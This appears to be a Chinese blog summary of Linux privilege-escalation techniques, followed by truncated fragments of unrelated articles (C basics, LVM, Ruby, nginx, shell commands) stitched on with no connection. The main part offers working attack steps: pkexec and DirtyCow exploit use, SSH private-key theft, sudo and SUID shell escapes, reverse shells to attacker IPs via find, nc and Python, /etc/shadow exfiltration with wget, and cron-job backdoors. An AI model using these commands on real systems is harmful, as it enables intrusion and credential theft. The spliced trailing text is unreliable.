在学习linux提权之前我们需要思考几个问题,我们为什么要提权?以及我们提权对我们有什么帮助?我们为什么要提权?
不是所有的机器都需要提权的,当你需要某些权限来运行某些脚本或者收集某些信息的时候,这时候才需要提权。
查看发行版本
cat /etc/issue cat /etc/*-release
查看内核版本,
uname -a
pkexec 本地提权
Github地址:https://github.com/berdav/CVE-2021-4034
通杀乌班图和centos

Linux内核的内存子系统在处理 写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!
脏牛系统提权范围:linux内核=>2.6.22
介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
Github:https://github.com/FireFart/dirtycow
查看内核信息

上传exp进行编译,再运行即可获得root权限!

流程: Linux本地内核提权 CVE-2017-16995 从网上下载exp,或者kali导出exp上传到提权主机上。 gcc 45010.c -o 45010 编译 chmod +x 45010 增加权限 ./45010 执行脚本 id
1、确认内核版本

2、上传Exploit到Ubuntu中

3、编译exp

4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。


找exp的路径

把它复制到当前目录下

确认目标有gcc,那么可以直接上传exp,在目标机器进行编译

攻击机:sudo python -m SimpleHTTPServer 80 受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c 受害机:对齐编译:gcc 37292.c -o exp 加权限,运行!
描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。
拿到shell后,使用如下命令检查哪些用户是bash的:cat /etc/passwd | grep bash可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件

复制 id_rsa的内容到kali上面,设置权限:chmod 600 id_rsa。然后尝试登录目标:ssh -i id_rsa web1@ip

项目地址:https://github.com/rebootuser/LinEnum
脚本简介
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。
一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!
chmod +x /tmp/LinEnum.sh sh /tmp/LinEnum.sh > /tmp/getinfo.txt
项目地址:https://github.com/jondonas/linux-exploit-suggester-2

运行之后可以看到很多系统中存在可利用的提权漏洞
以下这些提权方式都是第权限用户拥有sudo权限的时候进行提权的!
并且还要知道当前用户的密码
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
Sudo git -p help !/bin/bash
输入sudo密码(当前用户的密码)

在光标处进行输入!/bin/bash。回车

提权成功!

普通用户find命令提权
先查看find命令有没有提权的可能
必要条件:find必须有s执行权限,有s表示可以提权

尝试执行whoami

尝试调出一个交互式的bin/sh并且是root权限

此shell 为不完整的shell, 升级交互式。
#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
[root@localhost ~]# reset
用find进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;
利用find+nc反弹shell
find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;
find+python进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF


##kali上监听 nc -lvp 4444 > hash.txt ##靶机上 /usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444
攻击机:

受害机:

通过nc收到了http的文件内容保存到了test.txt中,可查看结果

TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl


sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

sudo taskset 1 /bin/sh -p

sudo sed -n '1e exec sh 1>&0' /etc/passwd

输入:sudo tmux

TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:

sudo perl -e 'exec "/bin/bash";'


sudo less /etc/hosts !bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo man man !bash
sudo vi :!bash
sudo env /bin/bash
sudo ftp ! /bin/bash
对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!
列出系统中的一些计划任务:
ls -l /etc/cron* cat /etc/crontab

如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。
比如把shell复制到tmp目录下其次给权限
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。
注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!要多多尝试
原文出处:Linux提权小结 (qq.com)
嗨~大家好,这里是可莉!今天给大家带来的是7个C语言的经典基础代码~那一起往下看下去把【程序一】打印100到200之间的素数#includeintmain(){ inti; for(i=100;i 【程序二】输出乘法口诀表#includeintmain(){inti;for(i=1;i 【程序三】判断1000年---2000年之间的闰年#includeintmain(){intyear;for(year=1000;year 【程序四】给定两个整形变量的值,将两个值的内容进行交换。这里提供两种方法来进行交换,第一种为创建临时变量来进行交换,第二种是不创建临时变量而直接进行交换。1.创建临时变量来
Linux操作系统——网络配置与SSH远程安装完VMware与系统后,需要进行网络配置。第一个目标为进行SSH连接,可以从本机到VMware进行文件传送,首先需要进行网络配置。1.下载远程软件首先需要先下载安装一款远程软件:FinalShell或者xhell7FinalShellxhell7FinalShell下载:Windows下载http://www.hostbuf.com/downloads/finalshell_install.exemacOS下载http://www.hostbuf.com/downloads/finalshell_install.pkg2.配置CentOS网络安装好
文章目录一基础定义二创建逻辑卷2-1准备物理设备2-2创建物理卷2-3创建卷组2-4创建逻辑卷2-5创建文件系统并挂载文件三扩展卷组和缩减卷组3-1准备物理设备3-2创建物理卷3-3扩展卷组3-4查看卷组的详细信息以验证3-5缩减卷组四扩展逻辑卷4-1检查卷组是否有可用的空间4-2扩展逻辑卷4-3扩展文件系统五删除逻辑卷5-1备份数据5-2卸载文件系统5-3删除逻辑卷5-4删除卷组5-5删除物理卷六LVM逻辑卷缩容6-1缩容注意事项6-2标准缩容步骤一基础定义LVM,LogicalVolumeManger,逻辑卷管理,Linux磁盘分区管理的一种机制,建立在硬盘和分区上的一个逻辑层,提高磁盘分
如何在Ruby中获取linux系统(这必须适用于Fedora、Ubuntu等)的软件/硬件信息? 最佳答案 Chef背后的优秀人才,拥有一颗名为Ohai的优秀gemhttps://github.com/opscode/ohai以散列形式返回系统信息,例如操作系统、内核、规范、fqdn、磁盘、空间、内存、用户、接口(interface)、sshkey等。它非常完整,非常好。它还会安装命令行二进制文件(也称为ohai)。 关于ruby-如何在Ruby中获取linux系统信息,我们在Stack
我在LinuxMint17.2上。我最近使用apt-getpurgeruby删除了ruby。然后我安装了rbenv然后rbenvinstall2.3.0所以现在,~/.rbenv/versions/2.3.0/bin/ruby存在。但是现在,我无法执行geminstallrubocop。我明白了:$geminstallrubocoprbenv:gem:commandnotfoundThe`gem'commandexistsintheseRubyversions:2.3.0但是我可以~/.rbenv/versions/2.3.0/bin/geminstallrubocop。但是,
我是Ruby和RoR的新手。我有一个带有Ubuntu镜像的干净Linode实例,我想从源代码编译Ruby而不是使用apt-get。我已经在谷歌上搜索了执行此操作的说明,但经过一些尝试后,当我尝试运行一些教程示例时,我不断收到有关缺少zlib和其他一些包的错误。任何人都可以给我详细的说明(或链接),教我如何在从源代码编译Ruby之前安装必要的必备包吗?我的目的是编译Ruby的最新稳定版本,然后安装Rubygems和Rails。提前感谢您的帮助!!! 最佳答案 Thisblogpost涵盖从源代码编译ruby所需的包和安装过程;它引
目录POSIXAPI大集合五元组三次握手的过程,内核协议栈分析listen函数DDOS攻击,洪水攻击DDOS攻击的应对措施数据发送 怎么保证顺序?如何保证包地顺序到达(序号+确认应答机制+重传)TCP断开连接的过程问题1.大量的CLOSE_WAIT+FIN_WAIT2是为啥?time_wait状态存在的原因?POSIXAPI大集合五元组(sip,sport,dip,dport,protocol)三次握手的过程,内核协议栈分析内核协议栈中是有内核数据结构的. 我们send/write数据,都是先发送到内核协议栈中,然后由内核协议栈封装发送到物理介质中传输到对端的对端的接收过程也是经有内核协议栈
背景:Linuxexport命令用于设置或显示环境变量。在shell中执行程序时,shell会提供一组环境变量。export可新增,修改或删除环境变量,供后续执行的程序使用。export的效力仅限于该次登陆操作。语法:export[-fnp][变量名称]=[变量设置值]参数说明:-f 代表[变量名称]中为函数名称。-n 删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中。-p 列出所有的shell赋予程序的环境变量。实例:列出当前所有的环境变量#export-p//列出当前的环境变量值定义环境变量赋值#exportMYENV=7//定义环境变量并赋值添加环境变量:默认保存在
Nginx安装1.官网下载Nginx2.使用XShell和Xftp将压缩包上传到Linux虚拟机中3.解压文件nginx-1.20.2.tar.gz4.配置nginx5.启动nginx6.拓展(修改端口和常用命令)(一)修改nginx端口(二)常用命令1.官网下载Nginxhttp://nginx.org/en/download.html这里我下载的是1.20.2版本,大家按需下载对应稳定版即可2.使用XShell和Xftp将压缩包上传到Linux虚拟机中没有XShell可以参考《Linux操作系统CentOS7连接XShell》3.解压文件nginx-1.20.2.tar.gz1)检查是否存
Halo,这里是Ppeua。平时主要更新C语言,C++,数据结构算法,Linux…感兴趣就关注我吧!你定不会失望。目录1.ls显示当前目录下的文件内内容2.pwd-显示用户当前所在的目录3.cd-改变工作目录。将当前工作目录改变到指定的目录下1.cd-回到上一次待的工作空间2.cd..返回上一层目录1.相对路径:cd../aurora2.绝对路径:cd/home/aurora/lesson1/aurora3.cd~进入用户家目录4.cd/进入root目录4.mkdir-新建目录5.rmdir/rm-删除1.rmdir删除空文件夹2.rm删除1.rm-f2.rm-i3.rm-r1.ls显示当前目